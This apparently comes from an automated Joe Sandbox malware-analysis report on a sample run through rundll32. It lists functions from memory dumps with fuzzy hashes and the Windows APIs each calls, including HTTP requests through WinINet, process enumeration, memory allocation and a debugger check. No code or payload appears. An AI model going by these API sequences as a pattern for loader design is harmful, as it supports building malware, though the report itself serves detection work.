Source File: 00000006.00000003.2100231573.000001FF4C990000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FF4C990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_1ff4c990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 633259c266d87a5b95fda6ce05470889e09af076b0dc8ff2f0ee963c60a24a3d
Instruction ID: e75792e44c43d65b8426ee454bc692ce9b2abd3913e387ec89dae5beef860442
Opcode Fuzzy Hash: 633259c266d87a5b95fda6ce05470889e09af076b0dc8ff2f0ee963c60a24a3d
Instruction Fuzzy Hash: 6611F97061CB888FD6A0DF4998857AABBE1FBD8711F54062FE48CD3210D7319441C793

Function 000001FF4CAE7A50 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bb11d53fe8240a521e5f77f5ce288efeffd0a38eebd87c38d9030f26bb6a810
Instruction ID: d5794b4ae4398bd8da8318b26779c3da0ec68c91b575466ea4b8ec199c0f23d8
Opcode Fuzzy Hash: 5bb11d53fe8240a521e5f77f5ce288efeffd0a38eebd87c38d9030f26bb6a810
Instruction Fuzzy Hash: 9511EF70158F4D4BF760EE18A8463BB72C0FB98314F50053DE889C22D1DBF5564A8693

Function 000001FF4CB04FF0 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3b493b046dda1831e3ac93b31f1d57d2ffdedc147415695421c0937c946fff3
Instruction ID: ce8f76b83b438981e6064ef777d9c8059b31ba36e7d79e1769ae9748ea065485
Opcode Fuzzy Hash: a3b493b046dda1831e3ac93b31f1d57d2ffdedc147415695421c0937c946fff3
Instruction Fuzzy Hash: BA11A730618F468FEB149F489846BFA77E4FB49711F40443EE489C2AA0D6759841CAC7

Function 000001FF4CB04740 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c2dce99591ed636752d02e92fb4e83679b8b4534c19c070d62bd12e62a70ad
Instruction ID: 971e4978c328ef59b890bf0ef42f310a8eb849255487e77a967f24e2c5ad0241
Opcode Fuzzy Hash: c6c2dce99591ed636752d02e92fb4e83679b8b4534c19c070d62bd12e62a70ad
Instruction Fuzzy Hash: 7F01C430628F064FE748AB1894173F773E1FB99711F10557EE449C36A2D6A5D9418E83

Function 000001FF4C9CD9FE Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2100231573.000001FF4C990000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FF4C990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_1ff4c990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe48e069b0bf4257b6ece8509336bdb1b8fe3d1efb0e08b23792c235e305b72c
Instruction ID: 0572d7f0b80f9af12a14c9913ded387302c0da89d38a177be0de80c424946096
Opcode Fuzzy Hash: fe48e069b0bf4257b6ece8509336bdb1b8fe3d1efb0e08b23792c235e305b72c
Instruction Fuzzy Hash: B7F0A4B0628B408BE744DF1884CA6767BE1FBD8745F24453EE989C7361CB3198828B43

Function 000001FF4C9CD98E Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2100231573.000001FF4C990000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FF4C990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_1ff4c990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba3f95c2c9417701ba101d61fb74fecea45e223f9a8c54239b1753508d96a613
Instruction ID: 08ddfeeb2b1022a96227b6974a48b1fb8066a2ff9b268f9d7d293fdf3a95076f
Opcode Fuzzy Hash: ba3f95c2c9417701ba101d61fb74fecea45e223f9a8c54239b1753508d96a613
Instruction Fuzzy Hash: 7DF0A4B0618B448BE744DF1884C967677E1FBD8755F24453EE999C7361CB319842CB43

Function 000001FF4C9CDA6E Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2100231573.000001FF4C990000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FF4C990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_1ff4c990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 611503c2f2b608366220324c20f94816b5761d40c9c053a388f9cbb19c4f0105
Instruction ID: 596b7c314ef086b00ecb35e7abf91b3343d535ab1ce2f170ab7b7a1dc3bb7cba
Opcode Fuzzy Hash: 611503c2f2b608366220324c20f94816b5761d40c9c053a388f9cbb19c4f0105
Instruction Fuzzy Hash: 34F09070A28F044BD704AE28884A67637E2FBA8745F54063EA448C7361CB35A4428A43

Function 000001FF4CAE8149 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a87759f1dbb7da0b31a2215c550786eb7d616866bd4ea5bb0906d9c5e547a0c
Instruction ID: 976508a2ef811da7e51f1c5a4127f85864e7fbe82eddd40f0119c12b8a978c98
Opcode Fuzzy Hash: 3a87759f1dbb7da0b31a2215c550786eb7d616866bd4ea5bb0906d9c5e547a0c
Instruction Fuzzy Hash: 31D0A77248DB194DE7209A98F8473F5B3D0FB81324F40443EC18CC1443D67E40464706

Function 000001FF4B0A2050 Relevance: 22.8, APIs: 15, Instructions: 324
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001FF4B0A1340: SetLastError.KERNEL32 ref: 000001FF4B0A1364

SetLastError.KERNEL32 ref: 000001FF4B0A20C4

Memory Dump Source

Source File: 00000006.00000002.3332368718.000001FF4B0A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FF4B0A0000, based on PE: true

Associated: 00000006.00000002.3332368718.000001FF4B0E6000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4b0a0000_rundll32.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 4d975507dabfc9bcff4ce07bface502bc42e706bf54c750510e23b7039734968
Instruction ID: 6218cd995dfbabc1f082e65d7df9272eabffc32ec4dce8c70c0e40effe67b034
Opcode Fuzzy Hash: 4d975507dabfc9bcff4ce07bface502bc42e706bf54c750510e23b7039734968
Instruction Fuzzy Hash: 15F1EC37219B89C6DB608B19E4907ABB7A0F79CB81F145439EB8E83B65DF78C445CB00

Function 000001FF4CAD7830 Relevance: 9.3, APIs: 6, Instructions: 340
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 000001FF4CAD788A
InternetConnectW.WININET ref: 000001FF4CAD78CB
HttpOpenRequestW.WININET ref: 000001FF4CAD791F
HttpSendRequestA.WININET ref: 000001FF4CAD79DA
InternetQueryDataAvailable.WININET ref: 000001FF4CAD7A53

Part of subcall function 000001FF4CAFB4E0: RtlFreeHeap.NTDLL ref: 000001FF4CAFB51D

InternetCloseHandle.WININET ref: 000001FF4CAD7B11

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID: Internet$HttpOpenRequest$AvailableCloseConnectDataFreeHandleHeapQuerySend
String ID:
API String ID: 3768145577-0
Opcode ID: b511c7863b3ab9a59219a4b3e63d03ff5358a22e987fa0d3a10f99e9fec2f975
Instruction ID: cebdfc696437e6c89b0340949d514d415a6916ae9c79afebccffe16837d1f81f
Opcode Fuzzy Hash: b511c7863b3ab9a59219a4b3e63d03ff5358a22e987fa0d3a10f99e9fec2f975
Instruction Fuzzy Hash: B8B1A530218E0A8BE758DB18E8657BBB3E6FF94300F4415BDA446C7295DFB4D8428792

Function 000001FF4C9CCABE Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 323COMMON

Download Yara Rule

Strings

@, xrefs: 000001FF4C9CCD21
`, xrefs: 000001FF4C9CCB5B
0, xrefs: 000001FF4C9CCBCE
@, xrefs: 000001FF4C9CCBE5

Memory Dump Source

Source File: 00000006.00000003.2100231573.000001FF4C990000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FF4C990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_1ff4c990000_rundll32.jbxd

Similarity

API ID:
String ID: 0$@$@$`
API String ID: 0-307318802
Opcode ID: 790f92f7944892e3d38ff7d826f4987b9e3c0bb28676424d5e8019a2330f5ae1
Instruction ID: 386701b9c4ad2a39a23276fa2aaf34c9085106f1f5bf8f95c032a498f8f00254
Opcode Fuzzy Hash: 790f92f7944892e3d38ff7d826f4987b9e3c0bb28676424d5e8019a2330f5ae1
Instruction Fuzzy Hash: 19B12A7061CB488FD7A4EF18D845BEAB7E0FB98714F104A6EE48DC3291DB74D9458B82

Function 000001FF4C9CBE8E Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 317COMMON

Download Yara Rule

Strings

, xrefs: 000001FF4C9CC0F8

Memory Dump Source

Source File: 00000006.00000003.2100231573.000001FF4C990000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FF4C990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_1ff4c990000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 9457dfe6ec60ebb388675859c3b208fc461dcabcf6edda219dbca694cf0c5acf
Instruction ID: ad075047989c3af1a4ec1c772cb0ce94a37660b566381b29d1c994ef185a9a90
Opcode Fuzzy Hash: 9457dfe6ec60ebb388675859c3b208fc461dcabcf6edda219dbca694cf0c5acf
Instruction Fuzzy Hash: 37B17E31218E088FDB54EF1DC885BAABBE1FF98310F50466EE489C7251DB74E945CB82

Function 000001FF4CAE8C60 Relevance: 3.2, APIs: 2, Instructions: 188
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFiber.KERNELBASE ref: 000001FF4CAE8E01
DeleteFiber.KERNELBASE ref: 000001FF4CAE8E1C

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID: Fiber$CreateDelete
String ID:
API String ID: 2527733159-0
Opcode ID: a81c3d8a98be896dd9ba18f06cc8f029549e5d5c5a40f868ab439c78b2d98936
Instruction ID: 621590924576829e6efdd3473b3a3de129448aa4075aa87798427206b4ff0ee2
Opcode Fuzzy Hash: a81c3d8a98be896dd9ba18f06cc8f029549e5d5c5a40f868ab439c78b2d98936
Instruction Fuzzy Hash: 2F51D530618D154BE768BB2CA85A7B673D1FB58310F20167DE89AC31E1DA649C03C6D2

Function 000001FF4B0A15E0 Relevance: 3.1, APIs: 2, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNEL32 ref: 000001FF4B0A167C

Memory Dump Source

Source File: 00000006.00000002.3332368718.000001FF4B0A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FF4B0A0000, based on PE: true

Associated: 00000006.00000002.3332368718.000001FF4B0E6000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4b0a0000_rundll32.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 75ce38d37ca8cf5b7d06ded007de5ea175a415d9990679de99291eeea22f5aae
Instruction ID: 5a83c5ab05cee1c7ca4d4e455f1847183a59f8df054b8253cdf5b2a9690f84c5
Opcode Fuzzy Hash: 75ce38d37ca8cf5b7d06ded007de5ea175a415d9990679de99291eeea22f5aae
Instruction Fuzzy Hash: 8A51E8772087498BEB60CF1AE09076BB7A1F7D9B85F084429EB8D87764DB78D951CB00

Function 00007DF459570000 Relevance: 3.1, APIs: 2, Instructions: 88processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007DF459570052
CloseHandle.KERNELBASE ref: 00007DF4595700C1

Memory Dump Source

Source File: 00000006.00000003.2476801129.00007DF459570000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007DF459570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_7df459570000_rundll32.jbxd

Similarity

API ID: CloseCreateHandleSnapshotToolhelp32
String ID:
API String ID: 3280610774-0
Opcode ID: 7b76749183c32904e7c867cae929a431087f8f66ce00ca14fd6eade76c102862
Instruction ID: e4be21fc8f3a31bf69686a896177be1d3a99fab218a27e6d591dc2c4ca804d74
Opcode Fuzzy Hash: 7b76749183c32904e7c867cae929a431087f8f66ce00ca14fd6eade76c102862
Instruction Fuzzy Hash: 8E21BC3161494C8FEBA1EB6CC858BEE33F1EB98324F404226D81EDB390DF35AA548750

Function 000001FF4B0A1380 Relevance: 2.6, APIs: 2, Instructions: 119
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 000001FF4B0A1445
VirtualAlloc.KERNEL32 ref: 000001FF4B0A14F4

Memory Dump Source

Source File: 00000006.00000002.3332368718.000001FF4B0A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FF4B0A0000, based on PE: true

Associated: 00000006.00000002.3332368718.000001FF4B0E6000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4b0a0000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 816fc88231aa2467bf2252115963d1d14762f6c5c40f282537df11a36abcc1ab
Instruction ID: 034058dcfac0be73e41e1ce4e32a0b78802e9ba4219920122c8c9e2249a0ebd9
Opcode Fuzzy Hash: 816fc88231aa2467bf2252115963d1d14762f6c5c40f282537df11a36abcc1ab
Instruction Fuzzy Hash: 9451F976618B44C6CB60CB1AE48066AB7A0F7DCBD9F045529EF8E83B69DB78C551CF00

Function 000001FF4CAD8ED0 Relevance: 1.9, APIs: 1, Instructions: 410
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexExA.KERNELBASE ref: 000001FF4CAD8F00

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 6f5cb151aadba70b4aa6e5bafaf7101ce807ceecab62b3beafb4f2b699b4b3ec
Instruction ID: 6862be4e439ccb645563a6e5f29d30fd4cadaef51fe3b6c6d1067ab883b70bcc
Opcode Fuzzy Hash: 6f5cb151aadba70b4aa6e5bafaf7101ce807ceecab62b3beafb4f2b699b4b3ec
Instruction Fuzzy Hash: 79E12171408A0D8FE751EF14E895BE6BBF4F768340F20067FE84AC2561DB789246CB86

Function 000001FF4CAFB4E0 Relevance: 1.5, APIs: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL ref: 000001FF4CAFB51D

Memory Dump Source

Source File: 00000006.00000002.3333096106.000001FF4CAD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001FF4CAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4cad1000_rundll32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d9c8acccb119fdf6d5691a0567f94fa179966e421fbccb122f962e3160943c6c
Instruction ID: ed276b1bcd8c0be45a6a05f00a00274ac9410e2bcf3dcb6a42514b1c9a1f4389
Opcode Fuzzy Hash: d9c8acccb119fdf6d5691a0567f94fa179966e421fbccb122f962e3160943c6c
Instruction Fuzzy Hash: 90F01C30310E098BFB58E7BABCD87B237E2FB9C341B4580A4A406C6194EB789842C711

Function 0000000273F414D0 Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNELBASE ref: 0000000273F414E5

Memory Dump Source

Source File: 00000006.00000002.3331451655.0000000273F41000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000273F40000, based on PE: true

Associated: 00000006.00000002.3331409929.0000000273F40000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3331451655.0000000273F85000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_273f40000_rundll32.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 490134546b41fa5f3525d4fc16026bee51ec6a607ddd3dfaa8bb0cc5ac4d8099
Instruction ID: 0bf00bace8f2674ea540bcf736f3f2282d979a864102f6c7b7d6f84e33ec7844
Opcode Fuzzy Hash: 490134546b41fa5f3525d4fc16026bee51ec6a607ddd3dfaa8bb0cc5ac4d8099
Instruction Fuzzy Hash: 06B09B14F04594C7E2255791B44D7699610B74FBD1F249451C55D13755851455425702

Function 000001FF4B0A11C0 Relevance: 1.3, APIs: 1, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 000001FF4B0A11DC

Memory Dump Source

Source File: 00000006.00000002.3332368718.000001FF4B0A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001FF4B0A0000, based on PE: true

Associated: 00000006.00000002.3332368718.000001FF4B0E6000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ff4b0a0000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a26db5a74adc6119d098d68705d28c1916c0da013186a83d7531f391c9707544
Instruction ID: 8734ce49c56e95ebc2df2b3fd8fe03f30472c91dd89aa18a18fb1262231a6cf2
Opcode Fuzzy Hash: a26db5a74adc6119d098d68705d28c1916c0da013186a83d7531f391c9707544
Instruction Fuzzy Hash: 31D092B6B1468087DB289B25E451A0BBB60F799744F904129EB8D57B68CA3EC6168F04

Non-executed Functions

Function 000000018004C510 Relevance: 15.4, APIs: 10, Instructions: 371COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 000000018004C62A
memcpy_s.LIBCPMT ref: 000000018004C6F4
memcpy_s.LIBCPMT ref: 000000018004C719
memcpy_s.LIBCPMT ref: 000000018004C9C2
memcpy_s.LIBCPMT ref: 000000018004CA0C
memcpy_s.LIBCPMT ref: 000000018004CA8C

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: d65eaab545a1f0b3e028d40bc848e10c731a40ca7154dd932d5894c03336bdee
Instruction ID: abfc01c1cae31b126f3606ba6e35873ac6e2165b9242cca6e17ef92ae9629bfb
Opcode Fuzzy Hash: d65eaab545a1f0b3e028d40bc848e10c731a40ca7154dd932d5894c03336bdee
Instruction Fuzzy Hash: 4EE1A076204A898BE7B6CF15D488BD937A0F39D7CCF529016EB0947B84DB35CA09CB45

Function 000000018004C060 Relevance: 10.7, APIs: 7, Instructions: 249COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 000000018004C0BB
memcpy_s.LIBCPMT ref: 000000018004C181
memcpy_s.LIBCPMT ref: 000000018004C1A7

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: aae69b84937ae52c50460b3a93fd80386282a716ad85a420871dc6e10509decd
Instruction ID: c11a1434eabf13ff3ffc717c65629f10aad66df5d482a187dde0986ab906fb0d
Opcode Fuzzy Hash: aae69b84937ae52c50460b3a93fd80386282a716ad85a420871dc6e10509decd
Instruction Fuzzy Hash: 55A1BDB2200A848BE7FA8F55E590BD977A0F3697CCF41D116EB4A57B84CB34CA48CB05

Function 0000000180052534 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

Part of subcall function 0000000180041790: GetLastError.KERNEL32 ref: 000000018004179F
Part of subcall function 0000000180041790: FlsGetValue.KERNEL32 ref: 00000001800417B4
Part of subcall function 0000000180041790: SetLastError.KERNEL32 ref: 000000018004183F

TranslateName.LIBCMT ref: 00000001800525A1
TranslateName.LIBCMT ref: 00000001800525DC
GetACP.KERNEL32(?,?,?,00000000,00000092,00000001800450F0), ref: 0000000180052621
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00000001800450F0), ref: 0000000180052649

Strings

utf8, xrefs: 000000018005272D

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValidValue
String ID: utf8
API String ID: 1791977518-905460609
Opcode ID: a78d7057517b415f687703166ca4a3cfcdca313bed36a1596b117302a90adb15
Instruction ID: 68df83c6e16fb6719a30522dc5a7a3ce8abf960c58eb50addb9b285837f9a530
Opcode Fuzzy Hash: a78d7057517b415f687703166ca4a3cfcdca313bed36a1596b117302a90adb15
Instruction Fuzzy Hash: AF91AB32200B4986EBA69F21D5513E923A5FB8DBC4F54C121FE5867786EF3AC759C700

Function 0000000180053038 Relevance: 10.7, APIs: 7, Instructions: 171COMMON

Download Yara Rule

APIs

Part of subcall function 0000000180041790: GetLastError.KERNEL32 ref: 000000018004179F
Part of subcall function 0000000180041790: FlsGetValue.KERNEL32 ref: 00000001800417B4
Part of subcall function 0000000180041790: SetLastError.KERNEL32 ref: 000000018004183F

Part of subcall function 0000000180041790: FlsSetValue.KERNEL32 ref: 00000001800417D5

GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00000001800531A8

Part of subcall function 0000000180041790: FlsSetValue.KERNEL32 ref: 0000000180041802
Part of subcall function 0000000180041790: FlsSetValue.KERNEL32 ref: 0000000180041813
Part of subcall function 0000000180041790: FlsSetValue.KERNEL32 ref: 0000000180041824

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00000001800450E9), ref: 000000018005318F
ProcessCodePage.LIBCMT ref: 00000001800531D2
IsValidCodePage.KERNEL32 ref: 00000001800531E4
IsValidLocale.KERNEL32 ref: 00000001800531FA
GetLocaleInfoW.KERNEL32 ref: 0000000180053256
GetLocaleInfoW.KERNEL32 ref: 0000000180053272

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 2591520935-0
Opcode ID: 802e43ab5220ed512d0623585b5c6eee699b76c966b13ec90f4942404d9e4e82
Instruction ID: 64d13e85883def1e901923d6c9018b7936bb528f0590fea9e49b5af43c603379
Opcode Fuzzy Hash: 802e43ab5220ed512d0623585b5c6eee699b76c966b13ec90f4942404d9e4e82
Instruction Fuzzy Hash: 20717C72710B0889FBA29B61D8527EC23B4BB4C7C8F44C526BA19677D5EF3A864DC350

Function 00000001800402A0 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 0000000180040319
RtlLookupFunctionEntry.KERNEL32 ref: 0000000180040331
RtlVirtualUnwind.KERNEL32 ref: 000000018004036C
IsDebuggerPresent.KERNEL32 ref: 00000001800403A5
SetUnhandledExceptionFilter.KERNEL32 ref: 00000001800403AF
UnhandledExceptionFilter.KERNEL32 ref: 00000001800403BA

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 1a631cd767aa6af9efa7e5aa469953c2907d5c4779ab4064bd7ad95633586567
